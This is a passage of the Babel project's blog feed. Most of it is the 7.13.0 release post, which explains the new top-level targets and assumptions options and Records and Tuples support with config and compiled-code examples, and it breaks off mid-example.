<p>You can test this proposal (and report feedback!) by adding the <a href="https://babeljs.io/docs/en/babel-plugin-proposal-do-expressions" target="_blank" rel="noopener noreferrer"><code>@babel/plugin-proposal-do-expressions</code></a> and <a href="https://babeljs.io/docs/en/babel-plugin-proposal-async-do-expressions" target="_blank" rel="noopener noreferrer"><code>@babel/plugin-proposal-async-do-expressions</code></a> plugins to your Babel configuration.</p>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p>These proposals are <em>highly experimental</em>. They can, and likely will continue to evolve. It could take years before they are standardized, and may even be rejected altogether. You are welcome to test them, but we do not recommend using them in production.</p></div></div>
<hr>
<p>Do you have any comment or question? Discuss <a href="https://github.com/babel/babel/discussions/13230" target="_blank" rel="noopener noreferrer">on GitHub</a>!</p>]]></content>
        <author>
            <name>Babel Team</name>
            <uri>https://twitter.com/babeljs</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.13.0 Released: Records and Tuples, granular compiler assumptions, and top-level targets]]></title>
        <id>https://babeljs.io/blog/2021/02/22/7.13.0</id>
        <link href="https://babeljs.io/blog/2021/02/22/7.13.0"/>
        <updated>2021-01-01T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[We just published Babel 7.13.0, the first minor release of 2021!]]></summary>
        <content type="html"><![CDATA[<p>We just published Babel 7.13.0, the first minor release of 2021!</p>
<p>This release includes some important features to <code>@babel/core</code>: a <code>targets</code> option (similar to <code>@babel/preset-env</code>'s one) that can be shared across different plugins, an <code>assumptions</code> option to precisely tune your configuration to produce a smaller compilation output, and support for plugins and presets written using native ECMAScript modules.</p>
<p>Babel now supports transforming the <a href="https://github.com/tc39/proposal-record-tuple" target="_blank" rel="noopener noreferrer">Records and Tuples</a> ECMAScript proposal, which brings immutable data structures and structural equality to JavaScript, and parsing the <a href="https://github.com/tc39/proposal-js-module-blocks" target="_blank" rel="noopener noreferrer">Module Blocks</a> proposal.</p>
<p>Additionally, we added support for some new Flow and TypeScript features.</p>
<p>You can read the full changelog on <a href="https://github.com/babel/babel/releases/tag/v7.13.0" target="_blank" rel="noopener noreferrer">GitHub</a>.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="funding-update">Funding Update<a href="https://babeljs.io/blog/2021/02/22/7.13.0#funding-update" class="hash-link" aria-label="Direct link to Funding Update" title="Direct link to Funding Update">​</a></h3>
<p>We have joined the "GitHub Sponsors for organizations" program, so you can now sponsor us directly through GitHub 😊.</p>
<iframe src="https://github.com/sponsors/babel/button" title="Sponsor Babel on GitHub" height="35" width="116" style="border:0;margin:auto;display:block"></iframe>
<p>These funds are used to support our team's (currently one full-time and three part-time maintainers) continued efforts in improving stability and developing new features.</p>
<p>Both our donations and expenses are openly tracked through our <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer">Open Collective</a> page, where we will also track donations coming from GitHub Sponsors.</p>
<p>We welcome donations from both individual and companies. If your company is interested in becoming a Gold tier sponsor ($1k/month) and wants to discuss more, please reach out to <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a>!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2021/02/22/7.13.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="top-level-targets-option-12189-rfc">Top-level <code>targets</code> option (<a href="https://github.com/babel/babel/pull/12189" target="_blank" rel="noopener noreferrer">#12189</a>, <a href="https://github.com/babel/rfcs/pull/2" target="_blank" rel="noopener noreferrer">RFC</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#top-level-targets-option-12189-rfc" class="hash-link" aria-label="Direct link to top-level-targets-option-12189-rfc" title="Direct link to top-level-targets-option-12189-rfc">​</a></h3>
<p><code>@babel/preset-env</code>'s <code>targets</code> option allows users to specify their target environments, automatically choosing which syntax to transform and what polyfills to inject. Since releasing <code>@babel/preset-env</code>, we've learned that plugins <em>themselves</em> can also benefit from knowing your targets. Currently, this can a bit cumbersome, as you have to specify your targets twice (for example, if you are using our <a href="https://github.com/babel/babel-polyfills" target="_blank" rel="noopener noreferrer">new polyfill plugins</a>). By introducing <code>targets</code> as a top level option, you now only have to specify your targets once:</p>
<table><thead><tr><th>Old configuration</th><th>New configuration</th></tr></thead><tbody><tr><td><div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/preset-env", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        "targets": "&gt;1%, not ie 11"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ],</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["polyfill-es-shims", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "targets": "&gt;1%, not ie 11"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td><td><div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JSON</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "targets": "&gt;1%, not ie 11",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": ["@babel/preset-env"],</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": ["polyfill-es-shims"]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td></tr></tbody></table>
<p>We recommended converting your Babel config to use the new top-level <code>targets</code> option, as it has the following additional benefits:</p>
<ol>
<li>It has better handling of the <a href="https://babel.dev/docs/en/options#targetsesmodules" target="_blank" rel="noopener noreferrer"><code>esmodules: true</code></a> target. (it's intersected with the other targets, rather than replacing them)</li>
<li>As we introduce additional <code>targets</code>-related support in our plugins, you'll automatically benefit from more optimized output!</li>
</ol>
<p>You can read the details about this new option in its <a href="https://github.com/babel/rfcs/blob/master/rfcs/0002-top-level-targets.md" target="_blank" rel="noopener noreferrer">RFC</a>.</p>
<blockquote>
<p>🔮 In the future we might explore moving <code>@babel/preset-env</code> into <code>@babel/core</code> so that you don't have to install an additional package to get started with Babel. This new option can be seen as the first step in that direction!</p>
</blockquote>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="top-level-assumptions-option-12219-rfc">Top-level <code>assumptions</code> option (<a href="https://github.com/babel/babel/pull/12219" target="_blank" rel="noopener noreferrer">#12219</a>, <a href="https://github.com/babel/rfcs/pull/5" target="_blank" rel="noopener noreferrer">RFC</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#top-level-assumptions-option-12219-rfc" class="hash-link" aria-label="Direct link to top-level-assumptions-option-12219-rfc" title="Direct link to top-level-assumptions-option-12219-rfc">​</a></h3>
<p>Many of our plugins have a <code>loose</code> option, which tells Babel to generate smaller/faster output by making certain assumptions about your code and ignoring certain edge cases in the JavaScript spec.</p>
<p>However, <code>loose</code> has some problems that lead to user confusion: the term itself does not help to describe how exactly it affects the compiler's behavior and, worse, sometimes requires setting configuration for multiple plugins to ensure everything compiles.</p>
<p>To help fix these problems, we've added a new top level option to tell Babel which assumptions it can make about your code: <code>assumptions</code>! Similar to the new <code>targets</code> option, every plugin will now receive the assumptions you've enabled, eliminating the need to set the option individually. This is really valuable since a plugin can be influenced by multiple assumptions, and an assumption can influence multiple plugins.</p>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p>This is <strong>advanced</strong> functionality. Like the previous <code>loose</code> option, please be careful when enabling assumptions, because they are <em>not</em> spec-compliant and may break your code in unexpected ways.</p></div></div>
<p>For example, when transforming classes, Babel will generate this output by default:</p>
<table style="width:100%;display:table;table-layout:fixed"><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Test</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">x</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// You can test the thrown error in the console:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Uncaught TypeError: class constructors must be invoked with 'new'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">_classCallCheck</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">instance</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter maybe-class-name" style="color:#f5871f">Constructor</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span><span class="token plain">instance </span><span class="token keyword" style="color:#8959a8">instanceof</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Constructor</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">TypeError</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"Cannot call a class as a function"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> </span><span class="token function-variable function maybe-class-name" style="color:#4271ae">Test</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">_classCallCheck</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token maybe-class-name">Test</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">x</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// You can test the thrown error in the console:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Uncaught TypeError: class constructors must be invoked with 'new'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td></tr></tbody></table>
<p>However, enabling the <code>noClassCalls</code> assumption tells Babel "I'm never trying to call classes without <code>new</code>, so you can compile without worrying about it":</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JSON</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "targets": "firefox 30",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "assumptions": { "noClassCalls": true },</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "presets": ["@babel/preset-env"]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<table style="width:100%;display:table;table-layout:fixed"><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Test</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">x</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Won't throw since we violated the assumption</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> </span><span class="token function-variable function maybe-class-name" style="color:#4271ae">Test</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">x</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Won't throw since we violated the assumption</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td></tr></tbody></table>
<p>Check out the full list of assumptions <a href="https://babeljs.io/assumptions" target="_blank" rel="noopener noreferrer">over in our documentation</a>, where you can individually enable or disable them to see how they affect the compiled output.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="records-and-tuples-support-12145">Records and Tuples support (<a href="https://github.com/babel/babel/pull/12145" target="_blank" rel="noopener noreferrer">#12145</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#records-and-tuples-support-12145" class="hash-link" aria-label="Direct link to records-and-tuples-support-12145" title="Direct link to records-and-tuples-support-12145">​</a></h3>
<p>Thanks to a collaboration with <a href="https://www.techatbloomberg.com/" target="_blank" rel="noopener noreferrer">Bloomberg</a>, Babel now supports transforming the <a href="https://github.com/tc39/proposal-record-tuple" target="_blank" rel="noopener noreferrer">"Records and Tuples" stage 2 proposal</a>.</p>
<p>The Babel plugin transforms records and tuples syntax using the global <code>Record</code> and <code>Tuple</code> functions:</p>
<table style="width:100%;display:table;table-layout:fixed"><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> data </span><span class="token operator">=</span><span class="token plain"> #</span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Babel"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">ids</span><span class="token operator">:</span><span class="token plain"> #</span><span class="token punctuation">[</span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">3</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></td><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> data </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">Record</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Babel"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">ids</span><span class="token operator">:</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">Tuple</span><span class="token punctuation">(</span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token number" 